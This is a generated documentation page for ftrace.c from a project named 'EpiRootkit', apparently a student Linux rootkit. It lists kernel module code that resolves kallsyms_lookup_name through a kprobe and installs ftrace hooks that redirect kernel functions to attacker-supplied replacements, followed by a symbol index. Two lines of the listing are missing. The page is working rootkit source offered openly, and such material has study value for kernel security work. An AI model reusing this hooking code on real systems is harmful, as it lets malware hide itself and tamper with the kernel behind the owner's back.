EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
ftrace.c
Go to the documentation of this file.
1#include "ftrace.h"
2
3#include "epirootkit.h"
4
13unsigned long (*fh_init_kallsyms_lookup(void))(const char *) {
14 typedef unsigned long (*kallsyms_lookup_name_t)(const char *);
15 static kallsyms_lookup_name_t fh_kallsyms_lookup_ptr = NULL;
16 int ret;
17 struct kprobe kp = {
18 .symbol_name = "kallsyms_lookup_name",
19 };
20
21 if (fh_kallsyms_lookup_ptr)
22 return fh_kallsyms_lookup_ptr;
23
24 ret = register_kprobe(&kp);
25 if (ret < 0) {
26 ERR_MSG("fh_init_kallsyms_lookup: register_kprobe failed\n");
27 return NULL;
28 }
29
30 fh_kallsyms_lookup_ptr = (kallsyms_lookup_name_t)kp.addr;
31 unregister_kprobe(&kp);
32
33 return fh_kallsyms_lookup_ptr;
34}
35
44static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip,
45 struct ftrace_ops *ops,
46 struct ftrace_regs *regs) {
47 struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
48 if (!within_module(parent_ip, THIS_MODULE))
49 ((struct pt_regs *)regs)->ip = (unsigned long)hook->function;
50}
51
58int fh_install_hook(struct ftrace_hook *hook) {
59 int err;
60 unsigned long (*kallsyms_lookup)(const char *) = fh_init_kallsyms_lookup();
61
62 if (!kallsyms_lookup) {
63 ERR_MSG("ftrace: unable to get kallsyms_lookup_name pointer\n");
64 return -ENOENT;
65 }
66
67 hook->address = kallsyms_lookup(hook->name);
68 if (!hook->address) {
69 ERR_MSG("ftrace: unresolved symbol\n");
70 return -ENOENT;
71 }
72
73 *((unsigned long *)hook->original) = hook->address;
74
75 hook->ops.func = fh_ftrace_thunk;
76 hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION | FTRACE_OPS_FL_IPMODIFY;
77
78 err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
79 if (err) {
80 ERR_MSG("ftrace: ftrace_set_filter_ip() failed.\n");
81 return err;
82 }
83
84 err = register_ftrace_function(&hook->ops);
85 if (err) {
86 ERR_MSG("ftrace: register_ftrace_function() failed.\n");
87 return err;
88 }
89 return 0;
90}
91
97void fh_remove_hook(struct ftrace_hook *hook) {
98 int err;
99
100 err = unregister_ftrace_function(&hook->ops);
101 if (err)
102 ERR_MSG("ftrace: unregister_ftrace_function() failed.\n");
103
104 err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
105 if (err)
106 ERR_MSG("ftrace: ftrace_set_filter_ip() failed. \n");
107}
108
116int fh_install_hooks(struct ftrace_hook *hooks, size_t count) {
117 int err;
118 size_t i;
119 for (i = 0; i < count; i++) {
120 err = fh_install_hook(&hooks[i]);
121 if (err) {
122 while (i--)
124 return err;
125 }
126 }
127 return 0;
128}
129
136void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) {
137 size_t i;
138 for (i = 0; i < count; i++)
140}
struct ftrace_hook hooks[]
Definition array.c:6
#define ERR_MSG(fmt, args...)
Definition config.h:16
char * ip
Definition main.c:6
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
Remove multiple ftrace hooks.
Definition ftrace.c:136
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct ftrace_regs *regs)
ftrace callback that redirects execution to the hook function.
Definition ftrace.c:44
void fh_remove_hook(struct ftrace_hook *hook)
Remove an individual ftrace hook.
Definition ftrace.c:97
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
Install multiple ftrace hooks.
Definition ftrace.c:116
int fh_install_hook(struct ftrace_hook *hook)
Install an individual ftrace hook.
Definition ftrace.c:58
unsigned long(*)(const char *) fh_init_kallsyms_lookup(void)
Retrieve the address of kallsyms_lookup_name via kprobe.
Definition ftrace.c:13
unsigned long address
Definition ftrace.h:13
const char * name
Definition ftrace.h:10
struct ftrace_ops ops
Definition ftrace.h:14
void * original
Definition ftrace.h:12
void * function
Definition ftrace.h:11